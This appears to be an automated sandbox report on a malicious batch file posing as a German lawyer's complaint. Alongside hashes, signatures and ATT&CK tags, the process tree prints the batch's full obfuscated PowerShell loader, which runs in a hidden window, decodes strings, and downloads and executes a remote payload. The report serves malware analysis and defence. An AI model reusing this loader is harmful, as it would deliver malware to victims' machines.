229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3

Analysis

max time kernel
149s
max time network
157s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30/11/2024, 19:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Beschwerde-Rechtsanwalt.bat
Size

4KB
MD5

7d81c68c80b51bfcdea2e11ac99e606f
SHA1

5c0dae6d1b7e77f806fbeb537921222ad5136c9b
SHA256

229c4ce294708561801b16eed5a155c8cfe8c965ea99ac3cfb4717a35a1492f3
SHA512

8a5b8d97f8e2c344a32d6ee8fe93ba020fc01dc1717500214c1235af8fe9030d0c3bd5b540d0d78699b2eaa4dadaefe7417274ebf683dc1e71b56851d8acc10b
SSDEEP

96:VDCwylmfZfGRN+0ndbI+Cd/Pfo2zkDVPKKb8Bv:VmuZf2nds+CFo28sKb81

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
5	3064	powershell.exe
6	3064	powershell.exe
7	3064	powershell.exe
8	3064	powershell.exe
9	3064	powershell.exe
10	3064	powershell.exe
11	3064	powershell.exe
12	3064	powershell.exe
13	3064	powershell.exe
14	3064	powershell.exe
15	3064	powershell.exe
16	3064	powershell.exe
17	3064	powershell.exe
18	3064	powershell.exe
19	3064	powershell.exe
20	3064	powershell.exe
21	3064	powershell.exe
22	3064	powershell.exe
23	3064	powershell.exe
24	3064	powershell.exe
25	3064	powershell.exe
26	3064	powershell.exe
27	3064	powershell.exe
28	3064	powershell.exe
29	3064	powershell.exe
30	3064	powershell.exe
31	3064	powershell.exe
32	3064	powershell.exe
33	3064	powershell.exe
34	3064	powershell.exe
35	3064	powershell.exe
36	3064	powershell.exe
37	3064	powershell.exe
38	3064	powershell.exe
39	3064	powershell.exe
40	3064	powershell.exe
41	3064	powershell.exe
42	3064	powershell.exe
43	3064	powershell.exe
44	3064	powershell.exe
45	3064	powershell.exe
46	3064	powershell.exe
47	3064	powershell.exe
48	3064	powershell.exe
49	3064	powershell.exe
50	3064	powershell.exe
51	3064	powershell.exe
52	3064	powershell.exe
53	3064	powershell.exe
54	3064	powershell.exe
55	3064	powershell.exe
56	3064	powershell.exe
57	3064	powershell.exe
58	3064	powershell.exe
59	3064	powershell.exe
60	3064	powershell.exe
61	3064	powershell.exe
62	3064	powershell.exe
63	3064	powershell.exe
64	3064	powershell.exe
65	3064	powershell.exe
66	3064	powershell.exe
67	3064	powershell.exe
68	3064	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3064	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3064	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3068 wrote to memory of 3064	3068	cmd.exe	29
PID 3068 wrote to memory of 3064	3068	cmd.exe	29
PID 3068 wrote to memory of 3064	3068	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Beschwerde-Rechtsanwalt.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3068
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "<#Ferskvandsfiskerierne Klenes Middelvejen Semicartilaginous #>;$Racette136='Civiliseringschance';<#Skabehoveder Papirpresser Kvalifikationsniveauet gidens #>;$Predeficiently=$Fortredes+$host.UI;If ($Predeficiently) {$Blazoned++;}function Gyps($Pernickety){$Appendiculariidae=$Sealflower+$Pernickety.Length-$Blazoned; for( $Ekvilibrisme222=2;$Ekvilibrisme222 -lt $Appendiculariidae;$Ekvilibrisme222+=3){$Tegnefilmenes='Sprtning';$Spoonbill+=$Pernickety[$Ekvilibrisme222];$Urinaler='snvrest';}$Spoonbill;}function lsevrdig($Udarmes){ . ($iliopelvic) ($Udarmes);}$Souvlaki=Gyps 'I MUnoKrz EiC lSklEiaSo/ B5 .Ib0 a Ti(B WPhi ,n CdDeo wInsSa .rN ATs Pi1 d0 e.La0Ba;Fe NeW iNdnSu6 4H ; I E xKy6 4W ; R Flrh vBo:Wi1Un2Ch1Au.Ov0 ) iG,reRtcBekOvo o/ R2A 0Cu1Fy0.e0,u1s 0 1Te DyFV.inorS.e AfLioScxS /Es1Mo2Pl1 . i0Br ';$Lokalplanomraadernes=Gyps 'TeuLsSI EAcrAf- dAE,GBjEO,NT tBl ';$Imperator=Gyps ' h.otH t ,pFis :,r/gr/ UwStw owDo.Int MwLiiGe-UniS nIntRoeDirwiiIsoB.rI,.HodH e.w/ eLMaILnVOmE y/ Bw epIn-Dainen ecExl NuS,dS eArs.k/ aIL.XM RRe/ViA jl obFrrAceexkKotUxs v.I qGrx ddF ';$svrvgtsbokserens=Gyps ' l> G ';$iliopelvic=Gyps 'GhiLyeA x ';$Reclame='indberetningspligten';$Skint='\uncontradictablely.Ove';lsevrdig (Gyps 'm $ ngAflPoOFuBM,AAsLEf: aFs,OR.XIntSte,er .rS I E mrTie BN ,=Ex$ E.dNTeVHa: GAWepEtpabdPhAtoTAlaTr+,u$ oS ,K DiLen at L ');lsevrdig (Gyps 'b $SpGI lFao BBBlAJ LUn: UpX UCyl TM OD,nTwaSmR vi Ba o= S$GeIS m KP.leLarDuAC T ioL.RPr.Uns rPMalR i rT.e(Ca$PrS ,v MrEuV PgMeTBesStBGeoP k nSH EM,RLoE NH SDa)Le ');lsevrdig (Gyps 'No[GanL eFrT R.Sis,reUnrMiv Ni .c Me pS OSkIMln,qTBeMnyavrNMlAA G.neEnRSu]Ve:ka:CoSUsEDiC.ouHvrDei lT,ry PKaRTyO tMiOBeCO o cL i ,h=Be T.[deNCaEMiT a.StsovEStcTeu crBli dTa yTiPNaRMeo dT ,OCaCHeoC lH t Y CP TeAm]He: l:I.TVoLS s,n1S.2sv ');$Imperator=$Pulmonaria[0];$Rishsts=(Gyps ' U$ uG mlA OClb kAChlI : ,a nIntPrI p,eA RT Yh,eAMuRReISkaFrn a=QunTrEHew e-B O B j E pCGaTDe .rs SykosTrTH e lmTy.BiNDreT T l. ,w SETyB ecUnl .i EEzNPltDi ');lsevrdig ($Rishsts);lsevrdig (Gyps 'F $P AWinT tE.i spruaa t BhD,aBurofiP,aSlnAf.ElH,aeInaPld eKar Dsse[ u$NaL o .kDaatrlK pGul aaConBao PmB rA.aBeaU,dHoeTerTanN eTrs.p]he= j$ SS oEmuA v ylPia IkMyi u ');$Hydrometridae=Gyps ' U$E.ATanbetB iQupsaa OtSthVaaHor KiKlaNon L.LyD CoTawRynA,lProInaKadNoF piGsl,ieBo(Al$ II mFopCre Cr,ia,it MoinrOv,Fr$KuALadOvvuno Ok ,aFotB,u KrReeAlrsa) S ';$Advokaturer=$Foxterrieren;lsevrdig (Gyps ' ,$,eg NlPaoRiB AA ,LIm:FlCM,R PA.ans,ISjAKotEnE.eS,u= N(.ntWoE.tsWatS - aPV A ItI hS. B $afaNaDInvByOAfkMiaA.TPoU SR eDerF ) T ');while (!$craniates) {lsevrdig (Gyps 'Ty$ Cg GlRsoTeb fainlme:KiUUnn ci nm SmReeprdG iSta tM,eDilG yHy= S$ tAkr Eu eeBo ') ;lsevrdig $Hydrometridae;lsevrdig (Gyps 'Wes PT DACar ntA - aSSjLFyESeeGaP T S 4D ');lsevrdig (Gyps ' n$TogK,LThOB B,nAW L :z,CC,rUnA CnS Ia a T Je JsUn=Di(OpTOvENos dTS.- up ,AJoT PHDe G$,iA .d,ov RoGrKEfA aTI uSeRste R f) S ') ;lsevrdig (Gyps ' u$EkgEmLL oBibFeA VLMe: lW,ENana,iDiT FiO V ReFoLHyYSa=ap$EsG LlGrO abcyaC Lfo:Fog lMiABrt Sk .rT S e,rl.p+Ga+ S% n$B,pSkURel SMovo cN iaS RGai OA o.poCPaOBiUB nDiT S ') ;$Imperator=$Pulmonaria[$Lenitively];}$Denimens53=318932;$Crotchet=27290;lsevrdig (Gyps 'Si$LaG ulIrostb LAReLLe: otFouS rP EG D IER SC o=sl A.G CE ltOp-miCStoSunStTFoE UN,vTP $OpAG d ov rO dKepATotbeuBlR FeBeRA. ');lsevrdig (Gyps 'Ta$V,gNolReoSabS.aFil ,:FlAHjf stFleocrb nF,oLio onTes C M,=S Re[,iSO.y Ds Pt ,eRimNe. uCwhotenStvLyeF r Ct,r] c:ha:JeF PrOuoW mInBS a scleFo6,i4 SFotVarFaiSnn Sg B(Dy$b T cuRorDie dKneOms ) W ');lsevrdig (Gyps 'Sa$ PgInLGeo aB ca.eL.g:PrAN PDoOu LfrlNoICoN AA lRspISks IENorQuN AE usAg ,=Fa Fi[h s lY SNat CeKuMDi.E,tSaeArxGeTNo. eEuN gCR OKaD oI SNMeg r]He:Kt: aFiSS CB.iFoi u.FagA,ET,TKlS.etP rU iFanD.G t(.i$ fAUnFFeT.oE.nR ,nCooStoMoN.isCo) P ');lsevrdig (Gyps 'Ar$LoGShL SO tBNoA PLSe:miNR.OBrNboe.uXT p,aO pnWoEPenCrTSoi oa pl,uLKoY =.u$NoAilP SO alHelBriU N nAW.R .i.rS,ieSarFanDiE ISD .Dus,eU oBreSNrt,ir Ci KNJyGSi( n$grD.yeTrnT IbjM ,e GnNrSU 5 ,3Te,Ca$ CToRU O nTE c ,HL e CT a)Pa ');lsevrdig $nonexponentially;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3064

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3064-4-0x000007FEF666E000-0x000007FEF666F000-memory.dmp

Filesize
4KB

Download
memory/3064-5-0x000000001B610000-0x000000001B8F2000-memory.dmp

Filesize
2.9MB

Download
memory/3064-6-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/3064-7-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-8-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-9-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-10-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-11-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-12-0x000007FEF666E000-0x000007FEF666F000-memory.dmp

Filesize
4KB

Download
memory/3064-13-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download
memory/3064-14-0x000007FEF63B0000-0x000007FEF6D4D000-memory.dmp

Filesize
9.6MB

Download